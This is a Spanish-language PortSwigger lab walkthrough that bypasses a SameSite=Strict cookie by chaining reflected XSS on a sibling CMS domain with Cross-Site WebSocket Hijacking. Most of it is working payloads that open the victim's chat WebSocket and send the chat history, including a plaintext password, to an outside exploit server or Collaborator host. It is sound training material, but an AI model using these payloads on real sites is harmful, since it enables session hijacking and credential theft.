SameSite Strict bypass via sibling domain
Laboratorio de Portswigger sobre CSRF
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio tiene una función de chat en vivo que es vulnerable a Cross-Site WebSocket Hijacking (CSWSH). Para resolver el laboratorio, debemos iniciar sesión en la cuenta de la víctima. Para lograrlo, usamos el servidor de explotación proporcionado para realizar un ataque CSWSH que exfiltre el historial de chat de la víctima al servidor predeterminado de Burp Collaborator. El historial de chat contiene las credenciales de inicio de sesión en texto plano
Guía de CSRF
Antes de completar este laboratorio es recomendable leerse esta guía de CSRF https://justice-reaper.github.io/posts/CSRF-Guide/
Resolución
Al acceder a la web vemos esto
Pulsamos sobre Live chat y vemos que tenemos un chat
Si nos dirigimos a la extensión Logger ++ de Burpsuite vemos que no hay ningún token que proteja contra CSRF
Si nos abrimos las herramientas de desarrollador de Chrome vemos que la única medida defensiva que tenemos es el atributo SameSite con el valor Strict. Si una cookie se establece con el atributo SameSite=Strict, los navegadores no la enviarán en ninguna solicitud entre sitios web. Esto significa que si el sitio objetivo de la solicitud no coincide con el sitio web que se muestra actualmente en la URL del navegador no se incluirá la cookie. Esto se recomienda cuando se configuran cookies que permiten al usuario modificar datos o realizar acciones sensibles, como acceder a páginas que solo están disponibles para usuarios autenticados
Es esencial tener en cuenta que una solicitud aún puede ser del mismo sitio web incluso si se emite desde un cross-origin, es decir, una solicitud que se realiza desde un dominio diferente al de la página web que se está visitando
Debemos auditar exhaustivamente toda la superficie de ataque disponible, incluidos los sibling domains. Un sibling domain es una réplica exacta de un main domain, en todos los aspectos excepto en el nombre del dominio en sí. El main domain y el sibling domain deben tener el mismo host de correo, las mismas listas de cuentas de correo, alias, configuraciones de filtrado de spam, y demás. Por ejemplo, yourcompany.com puede ser un main domain, mientras que yourcompany.net puede ser un sibling domain, en ese caso, cuando se envíe el mensaje dirigido a una dirección en yourcompany.net, lo tratará exactamente como si el mensaje hubiera sido enviado a la misma dirección en yourcompany.com
En particular, las vulnerabilidades que permiten provocar una solicitud secundaria, como XSS, pueden comprometer completamente las defensas del sitio web, exponiendo todos los dominios del sitio a ataques cross-origin
Además del CSRF clásico, si el sitio web de destino es compatible con WebSockets, esta funcionalidad podría ser vulnerable a Cross-Site WebSocket Hijacking (CSWSH), que es esencialmente un ataque CSRF dirigido al handshake del WebSocket
Si escribimos texto en el Live chat y le enviamos un READY al servidor, este nos devolverá todo el historial de chats porque están asociados a nuestra cookie
Esto lo podemos ver más claramente si mandamos la petición al Repeater y la tramitamos
También vemos que el Live chat carga un archivo JavaScript
Vemos que está consultando a un sibling domain, la cabecera Access-Control-Allow-Origin nos está diciendo que el dominio https://cms-0ae500ec0486aad482b7f65100c4004b.web-security-academy.net está autorizado y por lo tanto no le afecta la restricción del atributo SameSite Strict de la cookie. Si accedemos al dominio nos redirige a un panel de login
Vemos que se refleja el input del username en la web
Hemos logrado inyectar código HTML, usando el payload <h1>test</h1>
Si intentamos un XSS usando el payload <script>alert(3)</script> vemos que da resultado
Si accedemos a /resources/js/chat.js en cualquiera de los dos dominios podemos ver el archivo completo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
(function () {
var chatForm = document.getElementById("chatForm");
var messageBox = document.getElementById("message-box");
var webSocket = openWebSocket();
messageBox.addEventListener("keydown", function (e) {
if (e.key === "Enter" && !e.shiftKey) {
e.preventDefault();
sendMessage(new FormData(chatForm));
chatForm.reset();
}
});
chatForm.addEventListener("submit", function (e) {
e.preventDefault();
sendMessage(new FormData(this));
this.reset();
});
function writeMessage(className, user, content) {
var row = document.createElement("tr");
row.className = className
var userCell = document.createElement("th");
var contentCell = document.createElement("td");
userCell.innerHTML = user;
contentCell.innerHTML = (typeof window.renderChatMessage === "function") ? window.renderChatMessage(content) : content;
row.appendChild(userCell);
row.appendChild(contentCell);
document.getElementById("chat-area").appendChild(row);
}
function sendMessage(data) {
var object = {};
data.forEach(function (value, key) {
object[key] = htmlEncode(value);
});
openWebSocket().then(ws => ws.send(JSON.stringify(object)));
}
function htmlEncode(str) {
if (chatForm.getAttribute("encode")) {
return String(str).replace(/['"<>&\r\n\\]/gi, function (c) {
var lookup = {'\\': '\', '\r': '
', '\n': '
', '"': '"', '<': '<', '>': '>', "'": ''', '&': '&'};
return lookup[c];
});
}
return str;
}
function openWebSocket() {
return new Promise(res => {
if (webSocket) {
res(webSocket);
return;
}
let newWebSocket = new WebSocket(chatForm.getAttribute("action"));
newWebSocket.onopen = function (evt) {
writeMessage("system", "System:", "No chat history on record");
newWebSocket.send("READY");
res(newWebSocket);
}
newWebSocket.onmessage = function (evt) {
var message = evt.data;
if (message === "TYPING") {
writeMessage("typing", "", "[typing...]")
} else {
var messageJson = JSON.parse(message);
if (messageJson && messageJson['user'] !== "CONNECTED") {
Array.from(document.getElementsByClassName("system")).forEach(function (element) {
element.parentNode.removeChild(element);
});
}
Array.from(document.getElementsByClassName("typing")).forEach(function (element) {
element.parentNode.removeChild(element);
});
if (messageJson['user'] && messageJson['content']) {
writeMessage("message", messageJson['user'] + ":", messageJson['content'])
} else if (messageJson['error']) {
writeMessage('message', "Error:", messageJson['error']);
}
}
};
newWebSocket.onclose = function (evt) {
webSocket = undefined;
writeMessage("message", "System:", "--- Disconnected ---");
};
});
}
})();
Usando el archivo anterior como plantilla, vamos a construirnos un pequeño payload que nos permita tramitar una petición al Live chat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<body>
<script>
var webSocket = new WebSocket('wss://0ae5003804c578d380f0172500c9009c.web-security-academy.net/chat');
webSocket.onopen = function() {
webSocket.send("READY");
};
webSocket.onmessage = function(event) {
var message = event.data;
fetch('https://exploit-0ab000e304bb78ce80481698015c007f.exploit-server.net/exploit?log=' + btoa(message), {method: 'GET'});
};
</script>
</body>
</html>
Nos abrimos el Exploit server y pegamos el payload
Debemos pulsar en Deliver exploit to victim y después de eso en Access log, veremos que hemos recibido una petición con un mensaje en base64
Para el ver el mensaje nos dirigimos al Decoder de Burpsuite y decodeamos el base64
Esto también lo podemos hacer usando Burpsuite Collaborator, para ello lo primero en irnos a Collaborator y pulsar en Copy to clipboard
Una vez hecho esto creamos este payload y lo pegamos en el Exploit server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<body>
<script>
var webSocket = new WebSocket('wss://0ae6009604b0af07829c985600e500c6.web-security-academy.net/chat');
webSocket.onopen = function() {
webSocket.send("READY");
};
webSocket.onmessage = function(event) {
fetch('https://ridae4ksfhiwltligy2c4ohnze56twhl.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
</body>
</html>
Pulsamos en Deliver exploit to victim y en el apartado de Collaborator si pulsamos sobre Poll now recibiremos varias solicitudes
La solicitud HTTP viene con este contenido, sin embargo, estamos usando una nueva sesión en el Live chat, por eso recibimos solo un mensaje. No podemos obtener el chat completo debido al atributo de la cookie SameSite Strict
Para obtener el chat completo, debemos encontrar una manera de bypassear la seguridad proporcionada por el atributo SameSite Strict de la cookie para llevar a cabo un Cross Site WebToken Hijacking (CSWTH)
Como hemos encontrado un XSS en un sibling domain, podemos utilizarlo para bypassear la restricción de SameSite Strict. Esto se debe a que cuando hacemos las peticiones entre sibling domains, se envían las cookies. No tenemos acceso a la cookie, pero sí que se transmite, y podemos usarla para explotar un CSRF
Lo primero que tenemos que hacer es URL encodear el payload anterior usando el Decoder de BurpSuite
1
2
3
4
5
6
7
8
9
10
11
<script>
var webSocket = new WebSocket('wss://0a02002b038d819781de438e00860086.web-security-academy.net/chat');
webSocket.onopen = function() {
webSocket.send("READY");
};
webSocket.onmessage = function(event) {
fetch('https://turvsl20lidgjezs09fw8s5z1q7hvajz.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
Si pulsamos click derecho > Change request method vemos que también podemos enviar la solicitud de login usando el método GET
Posteriormente nos debemos crear este otro payload
1
2
3
4
5
6
7
<html>
<body>
<script>
document.location = 'https://cms-0a02002b038d819781de438e00860086.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%65%62%53%6f%63%6b%65%74%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%30%32%30%30%32%62%30%33%38%64%38%31%39%37%38%31%64%65%34%33%38%65%30%30%38%36%30%30%38%36%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%6a%37%72%6c%35%62%66%71%79%38%71%36%77%34%63%69%64%7a%73%6d%6c%69%69%70%65%67%6b%38%38%79%77%6e%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=test';
</script>
</body>
</html>
Nos dirigimos al Exploit server, pegamos el payload y pulsamos sobre Deliver exploit to victim
Si nos dirigimos a Burpsuite Collaborator y pulsamos sobre Pull now recibiremos varias peticiones por HTTP entre las cuales estará la contraseña del usuario carlos
También podemos usar este exploit
1
2
3
4
5
6
7
8
9
10
11
12
<script>
var webSocket = new WebSocket('wss://0a02002b038d819781de438e00860086.web-security-academy.net/chat');
webSocket.onopen = function() {
webSocket.send("READY");
};
webSocket.onmessage = function(event) {
var message = event.data;
fetch('https://exploit-0a6300d403ca81a881bc4223010500de.exploit-server.net/exploit?log=' + btoa(message), {method: 'GET'});
};
</script>
URL encodeamos el payload
Construimos un payload
1
2
3
4
5
6
7
<html>
<body>
<script>
document.location = 'https://cms-0a02002b038d819781de438e00860086.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%65%62%53%6f%63%6b%65%74%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%30%32%30%30%32%62%30%33%38%64%38%31%39%37%38%31%64%65%34%33%38%65%30%30%38%36%30%30%38%36%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%76%61%72%20%6d%65%73%73%61%67%65%20%3d%20%65%76%65%6e%74%2e%64%61%74%61%3b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%36%33%30%30%64%34%30%33%63%61%38%31%61%38%38%31%62%63%34%32%32%33%30%31%30%35%30%30%64%65%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%6c%6f%67%3d%27%20%2b%20%62%74%6f%61%28%6d%65%73%73%61%67%65%29%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%47%45%54%27%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=test';
</script>
</body>
</html>
Nos dirigimos al Exploit server, pegamos el payload y pulsamos sobre Deliver exploit to victim
Si nos vamos al Access log vemos que hemos recibido varias peticiones en base64
Si nos copiamos estas cadenas en el Decoder de BurpSuite, obtenemos la contraseña del usuario carlos
Otra forma alternativa es usando un formulario. Es importante no URL encodear el value de username, si lo hacemos, no funcionará el payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<body>
<form action="https://cms-0ab000980478d98983e565b8006300a1.web-security-academy.net/login" method="POST">
<input type="hidden" name="username" value="<script>
var webSocket = new WebSocket('wss://0ab000980478d98983e565b8006300a1.web-security-academy.net/chat');
webSocket.onopen = function() {
webSocket.send('READY');
};
webSocket.onmessage = function(event) {
var message = event.data;
fetch('https://exploit-0a4b00930450d90983516446017f008f.exploit-server.net/exploit?log=' + btoa(message), {method: 'GET'});
};
</script>">
<input type="hidden" name="password" value="test">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Nos dirigimos al Exploit server, pegamos el payload y pulsamos sobre Deliver exploit to victim
Si nos vamos al Access log vemos que hemos recibido varias peticiones en base64
Nos pegamos las cadenas en base64 en el Decoder de BurpSuite y obtenemos la contraseña de carlos
La alternativa con Burpsuite Collaborator sería esta
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<body>
<form action="https://cms-0a0100980343b3ed815af2f0004d00bd.web-security-academy.net/login" method="POST">
<input type="hidden" name="username" value="<script>
var webSocket = new WebSocket('wss://0a0100980343b3ed815af2f0004d00bd.web-security-academy.net/chat');
webSocket.onopen = function() {
webSocket.send('READY');
};
webSocket.onmessage = function(event) {
var message = event.data;
fetch('https://h9rj79ho06s4y2egfxukngkngemaa2yr.oastify.com', {method: 'POST', mode: 'no-cors', body: message});
};
</script>">
<input type="hidden" name="password" value="test">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Nos dirigimos al Exploit server, pegamos el payload y pulsamos sobre Deliver exploit to victim
En el apartado de Collaborator si pulsamos sobre Poll now recibiremos varias peticiones. Si miramos el contenido de las peticiones podremos ver todo el historial del Live chat del usuario carlos, incluida su contraseña
Nos logueamos con las credenciales del usuario carlos y completamos el laboratorio

































